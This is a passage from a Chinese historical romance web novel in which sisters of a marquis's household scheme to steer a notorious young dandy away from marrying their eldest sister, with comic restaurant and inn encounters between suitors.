说完她叹了口气,又严肃的对着两个妹妹道:“只是这事,怕是得请大哥帮忙,一来叫大哥帮着打听那纨绔常去的地方,不过这些地方咱们应也能差丫鬟打听到,那纨绔平日里高调,这事不难,二嘛,这事要真实施起来,四妹妹就得经常出门,咱们是没有出门的理由的,院墙又高的很,角门也都有下人严防死守,除非,除非你扮成大哥的小厮,每日跟着混出去,回来倒是容易。” 林诗芸点头,咬着唇,她是有些怕大哥的,想了想才道:“也不一定非是大哥,大哥作为府上的继承人,顾忌的怕是更多一些,二哥是个古板,我觉的不若我扮做三哥哥的小厮跟着出门比较容易些,只是,只是大哥他们平日里都是一起上学的,我得怎么做才能不叫大哥二哥发现呢。” 林诗意道:“我倒觉得咱们可以双管齐下,三弟说的不失为一个好主意,这事咱们要是想瞒天过海,必须将大哥给拉下水才行!” 林诗瑶抿着唇思考半晌后严肃的点头,“对,必须将大哥给拉下水!这事我来!” 她就不信了!大哥能不管她们几个的死活?反正要死一起死好了! 三姐妹还在绞尽脑汁的想对策,这边林景晟又气喘吁吁的跑来加入了臭点子大军。 他性子跳脱,下人只当这位三公子又来找四姑娘玩的,并没觉得他的行为有任何不对的地方。 这边的几个臭皮匠正凑着头一起想主意,那边宋晏和姚君远正一边一个歪在榻上在怡园听曲,风流才子俏佳人的故事,可是叫人百听不厌呢。 一阵急促的敲门声响起,姚君远的贴身小厮气喘吁吁地跑了进来,来不及擦头上的汗,焦急道:“世子!出事了!表姑娘她!她!” 姚君远和宋晏两个虎躯一震,摆摆手叫人关上雅间的窗户,异口同声道:“什么表姑娘!哪个表姑娘!” 终于,雅间的窗户被关上了, 世界突然安静下来,小厮忙不迭道:“是大表姑娘!有人去给侯府大表姑娘提亲!” 宋晏一听是林诗情,那表情顿时松懈下来,身子又往榻上一歪,懒洋洋地看着姚君远道:“哦,是林诗情啊,确实也到相看的年龄了,早就及笄了不是。” 姚君远一张脸是精彩纷呈,他也不理会好友话里的揶揄,沉着脸继续问道:“是哪家去提的亲?” 小厮将头埋的更低了,回道:“是谢夫人给谢二公子提的亲,谢二公子并未露面。” 姚君远咬牙,“谢子阳?他配吗!!!” 宋晏挑着眉,好整以暇地看着好友,看热闹不嫌事大,说出的话也跟刀子似的往人身上戳,“他不配?你配?你那些小心思可是从来不敢在人家面前露出丁点呢。” 姚君远一张脸可谓是黑了又黑,并不理会宋晏的话,咬着牙吩咐道:“去查谢子阳的动向,事无巨细!给我查!” 相府。 谢子阳揉着屁股趴在床上伸着头同母亲对峙:“我才不要娶什么劳什子的侯府贵女!又死板又无趣!娘您答应我的!媳妇我自己选!您说话不算话!” “我那心上人还没找到!您就是提亲也白提!您想娶就自己个儿娶!” 谢夫人颤抖着手指着二子,“你个没出息的!什么心上人!你休想将外头的女子领进门!咱家丢不起那人!” “你还敢胡言乱语!我我!” 她这个儿子,不知道被哪个花楼的小妖精给迷了眼,最近每日都在找什么神仙姐姐,这是要生生的将她气死啊! “我就不娶!你这样逼我不如直接打死我算了!再不济您给我大哥娶个平妻便是!皆大欢喜!” 谢夫人直接被这个油盐不进胡搅蛮缠胡言乱语的儿子气上了头,你你你了半晌竟直接气晕了过去。 哎,儿女,都是债啊! 第33章 谢子阳听到母亲晕倒后立马爬了起来,在听到大夫只说并不大碍之后,毅然决然地决定出门找乐子去。 倒也不是他心大,他母亲平日里便时不时的做晕倒状给他看,他都免疫了。 谢子阳不屑的扯了扯嘴角,摸了摸好了大半的屁股对着小厮道:“走!小爷要去出门!什么亲事叫我娘自己娶去吧!哼,想给我娶个媳妇拿捏我?门都没有!走走!” 他上次被大哥从花船带回来之后被亲爹给打了二十板子,这还没好利索呢,这又要跑,小厮很是迟疑,夫人都被少爷气躺下了,少爷到底哪这么大的心啊。 “墨迹个屁的你墨迹,再不走我大哥就下值了!赶紧的!” 小厮认命的背起少爷,妄图垂死挣扎:“二爷您又偷摸的跑出去,叫大爷知道了,小的们又得受罚了,” 谢子阳手上的扇子直接瞧在小厮头上,“不听爷的你现在就受罚,赶紧走!嘟囔个屁的嘟囔,叫你找个女子都找不到!没用的东西!再废话月钱甭要了!还想三倍?一倍我都不给你!” 小厮一听,那可不行啊!挨罚可以,不给钱是万万不行的,那可是三倍的月钱! 嘴上忙道:“小的自是听您的,爷您瞧好吧!” 然后飞快的背着少爷从角门跑了。 这人倒是还惦记着前些日子见过的神仙姐姐,只是他处理完家暴事件叫人去查的时候已经晚了,林诗芸又不经常出门,认识她的也不多,那日她去谢相府上因着心情不好一直没怎么抬头,见了她的也没几个人,而当日谢子阳正被揍的起不来,老实的趴在床上养伤呢。 那边谢子阳又跑了,相府鸡飞狗跳,这边厢林诗情已经回来了,她静静的看着姐妹几个,听着姐妹们关心的话语,心中温热。 林诗情揉了揉妹妹的脑袋,对众人道:“母亲只说这事还得同父亲商量,家世人品都要看,叫我不必担心。” 林诗瑶点点头,她们能想到婶娘会说些什么,也便没有多问,只叫林诗情坐下后姐妹三人将其围住,絮絮叨叨的说了半晌才将商议出来的计划说清楚。 林诗情张了张嘴,盯着林诗芸看了半晌,心中有不忍也有迟疑,她是不想嫁那个纨绔的,只是,“可以吗?万一,万一,” 林诗芸却坚定的点头,她是必须一试的,这是最疼她的姐姐,她甘愿赴汤蹈火,即使最后露馅自己嫁过去,她也情愿! 怕姐姐担心,眼珠转了转安慰道:“姐姐,你放心吧,只要将大哥哥拉下水,这事一定能行,至于别的,你妹妹嘴甜又长得美,什么样的男子搞不定?姐姐只管将心放到肚子里就是。” 能搞定!必须能搞定! 后面就是姐妹四人加上林景晟的分工了。 林诗瑶说了明日出府逛街一事,明日便开始实施计划,事不宜迟,林景晟立刻带人出门打探消息,林诗瑶和林诗意去找大哥,林诗芸和林诗情留下编身份编故事。 不知林诗瑶是怎么说动的林景行,总之,晚间便来了丫鬟递了口信,说是大姑娘那边已经妥了。 林诗芸想着自己编的身份,捂着嘴趴在姐姐肩头,直接笑弯了腰。 林景晟也回来了,他简单说了几句,留下了一张写满谢子阳常去地方的纸便走了,眼看天已经黑了,再不走容易叫人生疑,他这一天可是来二房跑了好几趟了。 半天下来也给孩子累坏了,林景晟现在一心想回自己院子歇息,只是不想半道又被大哥给逮了 好在孩子嘴严,知道什么该说什么不该说,他知道大姐已经将大哥说服了,老实道:“我是去帮着二姐姐打听打听那谢子阳常去的地方去了,明日大姐她们要出门逛街听戏呢,我这给打听清楚了,也避免她们碰上啊,这个节骨眼上,万一那个谢子阳再真的看中二姐姐了怎么办!” 林景行心知三弟没那么多的心眼,也便将人给放走了,只是自己想着妹妹拜托的事情 罢了,确实不是良配,这事若是被父亲知道虽说肯定免不了一顿训斥,但是总归比叫二妹妹嫁错人来的好。 林景晟一口气跑回了院子,连晚膳都没吃就躺下了,这一天天的,可累死他了,他可真是个好弟弟啊! 翌日。 天公作美,惠风和畅,微风吹过,带着丝丝春日的温暖,叫人心情顺畅。 林诗芸身上裹着一层月白色披风,走动间可见有花纹流动,披风下是一身雪白长裙,头上一支素白玉簪,端的是楚楚动人,清丽出尘。 俗话说的好,要想俏,一身孝。 林诗芸今日的装扮,正是在继母身边艰难过活的女子。 又名:白莲花。 四人一上马车便商量起来。 林诗瑶从怀里拿出张纸道:“那小纨绔惯去的地方是花楼,咱们肯定能去,只能去这几个地方,这个小酒坊,这个叫,什么卤,驴肉店,醉仙楼和悦味轩这两个酒楼,赌坊就算了,这还有两个戏园。” “如此,咱们午膳便在醉仙楼用,他去不去的咱们碰碰运气。” “这种人醉生梦死的,不睡到午时是不起床的,咱们先去逛逛衣裳首饰,四妹妹不是想去春暖阁吃茶点?都去,用完午膳再去怡园听曲。” 三姐妹点头,林诗芸想了想又默默的伸出了手,“大姐姐,我想一会先去悦味轩看看,听说饭馆不大生意很好,每日都有什么限量的吃食,我早就想去了来着,” “姐姐们先逛着,那个纨绔肯定不能起这般早,我也去那个驴肉馆尝尝鲜,顺便打听打听那人都是什么时辰去,也方便咱们之后的行动。” 林诗瑶点头,今日其实她们也不指望能碰上小纨绔,难得出来逛逛,想吃的想玩的便都做全了。 林诗瑶给林诗芸递了个荷包,“听说你的私房全给了谢静茹做了添妆,这个你拿着,如今你二姐姐这事还得靠你,你也别有压力,今日咱们就是出来探探路,不可能随便一碰就能碰到那小纨绔 的。” 林诗芸赶忙将荷包接过塞进怀里,笑的见牙不见眼的,“谢谢大姐姐,还是大姐姐了解我,” 接着又换了个志在必得的语气,高扬着下巴道:“三位姐姐放心,就芸儿如今的人设,只要能遇上那人,肯定能将人拿下!” 言罢别人还没说什么,自己又嘿嘿嘿的笑开了。 林诗情拿她没辙,昨夜里妹妹同她絮絮叨叨了一晚上叫她安心,她心里除了感动也没别的了,姐妹们都如此上心,她必不能拖后腿。 林诗情轻笑着对其余二人道:“她说自己是个被恶毒继母磋磨到离家出走的小白花,坚韧倔强不屈不挠不被挫折打倒又顽强生长还高洁淡雅。” 众人无语,虽然这一句话铺垫有点多,但也算正常啊,在继母手中艰难过活的姑娘,哪里有笑点?这不满满的泪点? 林诗芸:不不,我是话本子里头的白莲花女主,你们不懂我。 最终是无人能get到她的笑点,算了算了,她不笑了便是。 四人下了马车,因着时间还早,林诗芸跟着三个姐姐逛了两家成衣铺子才带着春雨施施然走了。 林诗情皱着眉头看着妹妹离去的身影,还是会有些担心的。 林诗意拍拍她的胳膊道:“四妹妹比咱们想的要聪明多了,二姐姐放心。” 林诗芸没带护卫,主要是人设不符合,她可是离家出走的人设,能带一个丫鬟就不错了。 不过护卫都跟在不远不近的地方,又有春雨在,林诗情笑着点点头,出不了什么岔子的。 巳时已过大半,林诗芸摸了摸有些饿了的肚子,她可真是太聪明了,早膳只简单吃了两口,中午她先去驴肉馆吃一顿,再去醉仙楼吃一顿不过分吧? 天上龙肉地下驴肉,叫她看看,这东西到底有多好吃,她还没尝过呢。 在吃这件事情上,林诗芸是从未怕过的,叫别个娇小姐听到驴这个字的时候只怕已经跑远了,林诗芸不行,坐定了之后就要了俩驴肉火烧,找了个角落坐下边大口大口的吃的喷香。 味道确实不错,走时还不忘打包了几份要给姐妹们尝尝,实在是贴心,就是怕最后都进了她自己的肚子。 之后林诗芸便带着春雨往醉仙楼的方向走,只是狗鼻子灵的很,在一处不大的饭馆门口停下了脚步,定睛一看,果然是悦味轩。 门口有衣着华丽的公子看了眼小厮手中提着的食盒,转头对友人道:“得亏今日来的早,终于买到了这三套鸭,走走走,咱们赶紧回府,今日定要多喝几杯才是。” 林诗芸大喜,三套鸭?那道最有名的淮扬菜? 来的早不如来的巧啊!她就是有口福!于是她也不管身后的春雨,径直的往饭馆里走。 春雨连忙跟上。 林诗芸撇了眼店内朴素的装修,直接开口询问店小二,“小二,给我来一份三套鸭,可以打包吗?一会我差人将食盒送回来。” 正在擦桌子的店小二忙不迭点头,“可以,姑娘您还要点些,什么” 后边的话他没说出来,只觉得面前的女子惊为天人,老天爷,仙女下凡了哇。 正算账的女掌柜察觉到小二的异样也抬起了头,林诗芸哎哎叫了两声,小二终于回过了神,一张脸涨的通红,手脚都不知道往哪放了。 女掌柜一见林诗芸的模样便笑着走出了柜台,笑着夸赞道:“姑娘实在美丽,叫我这小二都看呆了,您别介意,小二没见过世面,别介意啊,” “姑娘可是要三套鸭?哎吆姑娘来的可巧,今日份的三套鸭都被预定出去了,只剩了一只,奴家这便着后厨给您打包去,” 林诗芸挺喜欢这位红衣黑发热情似火的女掌柜,笑着回应,“无碍,那便麻烦掌柜了,” 因为刚才吃了火烧手上有些黏腻,便问道:“敢问掌柜的净手的地方在何处,我想净手。” 女掌柜自是笑着引路,徒留小二一人盯着林诗芸的背影碎碎念,实在太美了 怎么说呢,今日的林诗芸,美的叫人心旷神怡,一身白衣像一朵绽放的百合花,洁白无瑕纯粹干净,不张扬,是叫人从心底觉得舒服透彻的美。 林诗芸净手去了,女掌柜飘飘然走回柜台,哎吆,这位小姐的模样实在俊俏,她一个女子都忍不住小鹿乱撞了。 只听门嘭的一声被踢了一脚,唤回了女掌柜的神智,谢子阳自带音效的出场了。 揉了揉宿醉的脑袋,谢子阳摆摆手朝女掌柜道:“听说今日有三套鸭?来,给小爷来上一份醒醒酒。” 女掌柜自是认识谢子阳的,心道完了完了,这位今日怎么突然要吃三套鸭了! 忙不迭小跑过去道:“二爷今日来的实在不巧,最后一份三套鸭已经卖出去了,不若,不若您点些别的,奴家请您可行?” 谢子阳宿醉正在闹头疼,本就心烦的很,只觉得女掌柜这话是在搪塞自己,这还不到午时便卖光了?店里可是连个客人都没有! 谢子阳冷笑道:“卖出去了?卖给谁了!偏偏到小爷来了就没了?怎么,你是觉得小爷吃不起?” 掌柜的冷汗登时便下来了,忙道:“二爷误会了,误会了,奴家不敢,实在不敢,这样,正好那位客人尚未走,奴家问问能不能转让给您,奴家这就去,” 这话却叫谢子阳听了更生气了,只见他将纸扇啪的一声砸向桌子道;“转让!他配吗!” 竟然瞧不起他谢二爷! 言罢从身上拿出个银锭子砸向女掌柜,“爷出十两银子买下这最后一份!十两不够二十两!赶紧滚!给爷将东西盛上来!” 女掌柜手忙脚乱的接过银锭子,哎哎的应着转身便往后院去。 第34章 林诗芸将手洗净,接过春雨递来的帕子不甚走心的擦了擦便打量起这后院来。 这饭馆虽不大,但后院十分整洁,一大片的栀子花郁郁葱葱,兴许是近些日子天气已经热了起来,不少花朵已经打开,香气浓郁,带了些甜甜的问道,叫人忍不住驻足多看几眼。 林诗芸只觉得连心情都好了起来,转身对春雨道:“走吧,带上三套鸭咱们去醉仙楼大吃一顿,你想吃啥便点,不用替大姐姐省钱啊。” 春雨点头,觉得自家姑娘在花别人钱这件事上,真的是越来越有魄力了。 二人往前厅走,刚打开门便见女掌柜脚步急促,面带惊慌失措的迎了过来,女掌柜面带歉意,一把攥住了林诗芸的手道:“姑娘真是抱歉,最后一份的三套鸭能不能麻烦您让出来,这是二爷给的银钱,二爷出十倍的价钱从您这买了您看可行?” 林诗芸一头雾水,不清楚女掌柜所言何意便觉手中多了个银锭子,只见女掌柜凑近林诗芸的耳朵轻声道:“姑娘,这人您惹不起,谢相府上的二公子,乃是京中最有名的纨绔,您看,您拿了银子赶快走,明日您再来我请您吃这菜可行?” 林诗芸眼睛瞪的大大的,谁?你说谁?谢相府上那位二公子,唉吆喂,这不巧了吗?我找的就是他! 林诗芸转身同春雨对视一眼,唇角的笑意都快兜不住了。 春雨了然,轻轻捏了她的胳膊一下,林诗芸会意,面上一副姐姐你在说什么我听不懂的模样。 “姐姐,这个钱我不能收,我,我,” 那边的谢子阳本来就烦,听着这边磨磨唧唧的动静起身便走了过去,嘴上骂骂咧咧道:“还有完没完?十两不够爷给你二十,” 这话在谢子阳看到林诗芸一张泫然欲泣小鹿般害怕的一双眸子后戛然而止。 待看清林诗芸的一张脸,谢子阳只觉头也不疼了,腰也不酸了,一口气能爬五楼了! 宿醉是立马好了!身上跟打了鸡血似的充满了力量! 啊啊啊是神仙姐姐! 果真是,是什么来着,踏破什么鞋来着,对,铁鞋! 踏破铁鞋无觅处,得来全不费功夫啊! 今日果然运气好! 谢子阳顿觉机不可失,这次他 一定要叫神仙姐姐记住自己! 迅速调整表情,捂住嘴轻咳两声装的人模狗样道:“刚才是谢某失礼了,还请姑娘勿要介意,实在是,实在是,” 他该怎么编呢,对对,他娘昨日还晕倒来着,“实在是家中母亲生病,就想着吃上家乡这一口,谢某这才出此下册,还请姑娘,请姑娘原谅则个。” 女掌柜和在场的众人惊讶的嘴巴都快能塞下鸡蛋了。 这位爷吃错药了还是被鬼上身了? 说话怎么还书生气起来了? 只是,只是他谢二爷身上纨绔的气息太过明显,尤其是那一身松松垮垮带着褶子的衣裳,怕是昨夜在花楼玩了一宿吧。 女掌柜嘴角抽搐着看着这位爷的滑稽样,不明白这位是搞哪一出。 林诗芸只当没听见这人前头的话语,面色动容,一脸感动的屈身轻轻还礼道:“公子如此孝顺,叫小女子很是感动,皆为人子,我亦理解公子,一道菜而且,自是让得。” 她朝谢子阳微微一笑便转过了身子,伸出白皙细嫩的手,将银子又塞回了掌柜的手中,“只是无功不受禄,今日吃不上明日我再来便是了,” 说完林诗芸朝掌柜的笑了笑,轻轻道了句,“您收好,明日我再来。” 转身又朝谢子阳点了点头,“公子不必介怀,限量菜虽难得,但公子的赤子之心无价,您母亲定会早日康复的。” 她的唇边带着恰到好处的羞赧和微笑,这便要带着春雨离开。 谢子阳被林诗芸夸的有些飘飘然,神仙姐姐在夸他吧?赤子之心!长这么大还是第一次有人夸他! 林诗芸也不再去看谢子阳此时的表情,只自顾自的往店门处走,很快便来到了谢子阳身侧。 林诗芸自然认出了谢子阳便是那收拾家暴男的紫衣公子,联想两次见面这人眼中的惊艳,心中笃定,这人会叫住自己。 心里默念,三,二,一尚未喊出来便听谢子阳焦急道:“姑娘等等!” 林诗芸停住了脚步,转身疑惑道:“公子可还有事?” 谢子阳想说请姑娘用午膳,又觉得唐突了人家,张了张嘴道:“此番是谢某不对,谢某应给姑娘道歉,不若,谢某明日请姑娘用午膳可行?” 这话已经很唐突了,谢子阳又找补道:“谢某不是坏人,只是,只是想,想结交姑娘啊,对,不知姑娘可还记得,咱们上次见过,前些日子在酒坊门口,” 后边谢子阳说不下去了,当日他可是将人往死里揍的,不能说了,再吓着人家怎么办。 女掌柜瞧着这位爷今日反常的行为除了惊讶还有些头大,生怕这位纨绔装着装着不装了给人家姑娘惹火上身,忙对着林诗芸道:“姑娘明日一定来,到时候奴家保准叫姑娘吃上正宗的淮扬菜。” 掌柜的也不敢说自己请客,万一到时候谢二爷非要请客,再收拾她一顿怎么办? 不过看着这位怕是对这位姑娘产生了浓厚的兴趣,不然说话也不会结结巴巴一脸紧张的模样了,她估摸着即使明日这位姑娘真的过来了,也出不了什么问题。 毕竟谢二爷虽说纨绔,这么多年却还真没有干过逼良为娼强迫女子的事情。 林诗芸只当看不出掌柜的小心思,只莞尔一笑,朝女掌柜道了一声,“好,如此便多谢掌柜了。” 又朝谢子阳微微点头,也不回应前些时日见过他的事情,只还是一副清丽出尘的模样。她眼尾上扬,唇角微微勾起,待看到谢子阳看自己又看入了迷之后轻轻笑出了声,抬起眼帘又笑着看了对方一眼之后这才带着满脸的笑意同春雨离开了。 走的果断,没带走一片云彩。 只是这一眼,便将谢子阳的魂给勾走了。他满脑子都是林诗芸对着他的挑眉一笑,脑海里跟放了烟花似的,帕里啪啦的响。 好半晌谢子阳都沉浸在自己的世界里,就美人儿这一笑,绝对是对自己有意思!不然她怎么就冲着自己笑?哎吆,他的小心脏,又痒又涨的,他觉得自己美人在怀指日可待啊! 早有有眼力见的小厮跟上了林诗芸。 谢子阳心情很好,想到明日又能见到神仙姐姐,挑着眉看了女掌柜一眼道:“明日必须拿出你店里的看家本领来,不然小爷可要砸你招牌!” 这威胁的话一出口,掌柜的忙保证道:“二爷放心,明日这席面您就放心吧,保证叫那位姑娘吃的满意。” 言罢女掌柜还要将银锭还给谢子阳,谢子阳这会子心情好,摆摆手道:“赏你了,明日做的好了还有赏,不过,” 明日他要不要同神仙姐姐一桌用膳呢,是不是太唐突了些? 但是不一桌用膳他该怎么同她搭话呢?他还想怎么能知道神仙姐姐的名字呢? 带着这幸福的烦恼,谢子阳决定今日回府修身养性,便叫小厮将三套鸭打包回了府真的去孝顺亲娘去了。 马上便至午时,姐妹们约定的时间也到了。 春雨扫了眼身后跟着的小厮道:“姑娘,应是谢二公子的人。” 林诗芸点点头,既然如此,还是按原计划行动。 “咱们去孙娘子的住处,按咱们之前说的,身份是借住在姑姑家的可怜女子。” 春雨了然点头,脸上冒着兴奋的光,做戏啊她在做戏!好刺激! 作为丫鬟里头唯一的知情人,春雨与有荣焉!这是姑娘们信任她啊! 这事林诗芸姐妹几个也没想瞒着春雨,毕竟之后外出,林诗芸还得带着春雨打掩护呢。 二人七拐八拐的很快来到了孙娘子租住的院子,小院不大,平日只一个负责做饭浆洗的婆子在,但今日一早林诗芸便差人递了口信,如今孙娘子也是在的。 林诗芸和春雨故意在门口左遥右顾的看了半晌,确定后边的人跟上才进门。 又同孙娘子解释了半晌,给负责买菜做饭的婆子也叮嘱了几句,主仆俩这才换了身衣裳从偏门离开了。 这偏门还是孙娘子为了送玲儿上学方便才开的,如今倒是便宜林诗芸了。 这一路上主仆俩是脚底生风,步伐里全是兴奋啊。 林诗芸寻思自己是不是真的拿了大女主剧本了,怎么就这般巧呢,上次是真偶遇,这次也是。 林诗芸得意一笑,哼,她果然是话本子里头说的天选大女主! 姚君远一早就得了林诗情出门的消息,并在午膳时成功在醉仙楼同人偶遇。 今日出奇的巧,郑家几个也在,郑子墨一双如墨的眼眸一瞬不瞬的盯着林诗瑶,被郑薇薇踢了一脚这才收敛。 郑敏敏早就同林诗瑶又掐起来了,只有郑薇薇在四处找林诗芸。 “小牛犊子作甚去了?怎么不在?” 林诗情尚未回答便见妹妹脚底生风的从楼下跑了上来。 一见二楼这么多人林诗芸还吓了一跳,又见都是熟人就忙不迭跑到姐姐身边去了。 她抱着林诗情的胳膊冲郑薇薇质问道:“你是不是又叫我小牛犊子来着!再叫绝交啊!你见过这么漂亮的牛吗!之后请叫我侯府小仙女!” 郑薇薇打量着一身碧色长裙的林诗芸,因为走的急促而红扑扑的小脸蛋,头上只簪了两朵红色的头花,没了刘海的小脸多了几分的成熟,面上不施粉黛也美的不可方物。 郑薇薇煞有介事的点点头,“嗯,可不是,这小脸怎么长的,仙女下凡了呀。” 林诗芸得意的晃了晃脑袋,对郑薇薇的夸赞非常满意。 林诗情轻笑着叫她收敛一点,虽有些好奇林诗芸为何换了身衣裳,却知道这也不是说话的地方,便笑着道:“小姑姑不若同我们一起?郑世子同我表哥一处用膳就好。” 只剩两间雅间了,男女一处用膳总归不太好。 郑薇薇挑眉看了眼虽同她大侄子讲话,但是一双眼睛时不时便扫过来的姚君远,心说这位也按耐不住了吗。 郑薇薇点点头,“好啊,如此便叨扰了,我是很想跟小仙女说说话的。” 于是,午膳又多了郑敏敏和郑薇薇 。 姚君远气急败坏,他就应该叫店家说只剩一间雅间了!这下好了!妈的跟个臭男人一起用膳! 想到定安侯府同相府议亲之事……姚君远眼珠子转了转,准备坑郑子墨一把。 他先是叹了口气,给郑子墨倒了杯酒水才道:“子墨兄如今也到了议亲的年纪了,可有心仪之人啊?” 第35章 眼看着林诗情几个热热闹闹的进了隔壁雅间,姚君远跟郑子墨磨磨蹭蹭看了半晌,这才推开了身前的门。 听着隔壁传来的动静,二人恨不得趴在上墙上听听。 尤其那郑子墨那个心情啊,郁闷的很,他这好不容易才碰上一次,还未说上半句话呢。 姚君远是同样的心理,但他可比郑了墨沉得住气,他们表兄表妹的,本就亲近,见面的机会也多,郑世子可不能同他比。 姚君远眼珠子转得飞快,给郑子墨倒了杯酒水道:“子墨兄也到了议亲的年纪了,不知可否有心仪之人啊?” 郑子墨只是抬眸看了眼隔壁,并不言语。 姚君远也不在意,自顾自的叹了口气继续道:“这一大早的便接到了消息,说是相府在同定安侯府议亲呢,哎,可惜大姑娘如此佳人,就要便宜谢子阳那个混蛋了。” 郑子墨登时便蹦了起来,“谁?你说谁?谁联姻???” 姚君远看了眼上了套的郑世子,故意道:“自然是相府和定安侯府联姻啊,哎,据说昨日媒婆便上门了,大姑娘早就及笄了,这事啊,怕跑不了。” 他停顿了些许,见郑子墨急的满屋子乱转这才一脸了然的模样,开口道:“子墨兄怎得如此紧张,莫非,莫非你心悦大姑娘?” 郑子墨已经沉下了脸,满脑子都是谢子阳那个狗东西要娶自己心上人了!!! 他配吗!他不配! 他不配我配? 我,我…… 满脑子都是关于配不配谁配的天人交战…… 不行,他要去找父亲,幼时两家开玩笑时还要给他俩定娃娃亲,不知道口头之约还能不能算数了? 他不比谢子阳靠谱多了? 要是他娶了瑶妹妹,他定会视她如珍如宝! 眼看郑子墨还沉浸在自己的世界里,姚君远轻咳两声才唤回郑子墨的些许神智,一脸同情道:“原来,原来子墨兄心悦大姑娘啊,哎,可惜了,你们两家本就不对付,墨兄想娶到心上之人,怕是有些难啊,” 郑子墨皱着眉头盯着姚君远,“君远兄有话直说,不必拐弯抹角的。” 姚君远也不觉尴尬,笑了笑继续道:“害,我就是觉得大姑娘嫁给谢子阳有些可惜了,便出言提醒兄弟两句,如今定安侯的军权也都卸的差不多了,今上兴许愿意瞧着你们两家重归于好呢?毕竟陛下同你父亲和定安侯,那曾经都是过命的交情啊,陛下他……” 后头的姚君远就没说了,只能叫郑子墨自己悟了。 郑子墨早已被这消息冲昏了头脑,对于姚君远的话,竟然没有产生一丝的怀疑。 几个女孩子在一处自然十分热闹。 郑敏敏同林诗瑶两个掐架,吵吵闹闹的不住嘴,颇有些相爱相杀的意思。 林诗意无奈地看着打嘴仗的两人,一时不知道两人是关系好还是不好。 林诗芸偷偷摸摸的在姐姐耳朵旁说了句她刚才碰到了那小纨绔,事情进展的非常顺利。 林诗情满脸的不可思议,急迫的想知晓事情经过,却在看到正往这走的郑薇薇停住了嘴。 郑薇薇一屁股坐到姐俩对面挑眉道,“你们姐俩有啥悄悄话回去说,小牛,啊小仙女过来,陪小姑姑聊聊天。” 林诗芸心情好,给了姐姐一个安心回府再说的眼神便蹦跶着坐到郑薇薇身旁,笑道:“咋?就这么想我啊?” 郑薇薇爱极了小姑娘这张一点也不矫情的小嘴,笑意盈盈的点头道:“嗯,十分想,另外嘛,来同你道个别?” 道别?林诗芸十分不解,“你要去哪啊?” 郑薇薇却笑了笑,“天大地大,我想去看看。” 林诗芸瞪大了眼睛,世界很大她想去看看的古代版? 郑薇薇看着林诗芸可爱的模样轻轻笑了起来,“骗你的,我要去清莲寺住些日子,你知道的,我父母已去多年,我想去为他们祈祈福,也远离这尘世些日子,省得每日被那些上门的媒婆闹的头疼。” 清莲寺,是京郊最有名的尼姑庵,不少名门贵妇经常会去清修之地,同护国寺一样香火鼎盛。 林诗芸一脸若有所思的点头,张嘴却是道,“你在逃避现实吗?” 郑薇薇无奈,这小嘴咋跟啐了毒似的,这么直接呢。 林诗芸也不等她回答撇嘴道:“合着我上次劝你的那些话都被你当个屁放了呗。” 一旁的林诗情听的有些无语,这个芸儿,又开始口无遮拦了。 林诗芸感受到了姐姐的眼神,忙讨好的笑着道,“好了好了我不说屁了,姐姐别生气。” 郑薇薇无奈,揉了揉小姑娘的头发,看着她头上素净的很,从头上拔了支金钗下来,给林诗芸戴上了。 开的正艳的并蒂芍药在林诗芸的头上极为好看,林诗芸也不扭捏,摇头晃脑的接受了。 嘴上又道,“既然收买了我,那我便多说两句吧。” 眼看林诗情又瞪了过来,林诗芸哎呀两声,“姐姐,收都收了,你得叫我说完嘛。” 林诗情无奈,“你好好说话,不准再说嗯……屁什么的了。” 林诗芸乖乖点头保证不说之后才继续道:“是不是最近老有媒婆上门,说你年纪大了又被退了两回亲了,叫你别挑挑拣拣的,有男人娶你就该接受,你心里便又不舒服了?” 林诗芸也不等郑薇薇回答,哼了一声,“你去寺里住些日子也好,为父母祈福多有孝心啊,但是,你去也不能悄悄的去啊。” 她嘿嘿一笑,主意这便来了。 林诗瑶几个也围了过来,众人专心听林诗芸说话。 林诗芸清了清嗓子,“你必须要大张旗鼓的去,就说你每年都会去寺庙祈福,反正你去不去的谁知道,夸张一些怎么了?清莲寺主持德高望重普度众生,定能算出来你是不宜早婚的,你如今也才十八,至少二十岁之前都算早婚,且,再说你身上带点佛缘怎么了?我佛慈悲,你又每年去为父母祈福,是为至善至孝之人,哪个嘴贱的再敢再说你?” “这样一来你只需每年去清莲寺住上那么十天半个月的,两年的时间也足够忠勇侯帮你或者你自己挑选夫婿了,我还是那句话啊,好饭不怕晚。” 郑薇薇越听越觉得是这么回事,不住的点头,最后更是一把将林诗芸给抱在怀里,“哎吆你这个小家伙,怎么这么聪明呢。” 郑薇薇眼眶湿润,心中感动的不像话。 林诗芸却摆摆手,“这个事,我估计忠勇侯也是这么想的,他应有更稳妥周全的计划,不然他平白无故的叫你去清莲寺住一阵作甚,总不会是真叫你去躲躲吧?咱们侯府贵女,用得着躲?估计他怕你听了会多想,才没跟你明说罢了。” “好啦好啦别哭啦,日子是自己的,咱们怎么开心怎么来,这点小事不必总是放在心上。” 郑敏敏看到小姑姑的模样也松了口气,这个方法极好,不管父亲是不是想的,为了小姑姑,这事也必须要这么实施! 人多,都是小姑娘,吃饭也吃的是吵吵闹闹的。 林诗芸失策了。 她带回来的驴肉火烧自己一个没吃到! 郑薇薇说自己马上去寺庙吃素了,她得尝尝! 郑敏敏是没说话的,她 动手能力极强,拿过来便咬了一口,还不住的点头,说了句味道不错便招手叫丫鬟将剩的两个给隔壁雅间送去了…… 林诗芸怒吼,你们真没拿自己当外人啊! 郑敏敏也从头上拔了个金簪插到林诗芸头上,安抚道:“芸儿妹妹乖啊,姐姐再给妹妹买,买好多,芸儿今日想吃啥都随便点,姐姐请客!” 林诗芸一下便没了脾气,好家伙今天得了两支金簪!好好好,“谢谢敏敏姐姐,敏敏姐姐你真好!” 林诗瑶翻了个大大的白眼,无语道:“咋的,抢完吃的你还要抢我妹妹?” 然后转头开始喷林诗芸,“一支破金簪就给你收买了!” 没出息的东西!回去她就扒拉一堆给四妹妹送去! 午膳用完便要去怡园听戏。 郑薇薇心里有事着急回府,郑敏敏是还没玩够,一步三回头不舍得走了。 郑子墨是心情沉重,黑沉着一张脸,最后又看了林诗瑶一眼,这才转身上了马。 姚君远说自己也约了人在怡园,正好顺路。 林诗芸撇嘴翻白眼,林诗情不置可否,林诗瑶毫不关心,林诗意倒是看看姚君远再看看二姐姐,有些恍然大悟的意思。 紧赶慢赶的,宋晏终于赶到了怡园。 他脱身实属不容易,在他同太子堂兄抗议了两次之后这才被允许离开。 太子忍着笑放人离开,瞅着宋晏急不可耐的背影直摇头,这弟弟大了,该娶亲了啊,他也不好做的太过了。 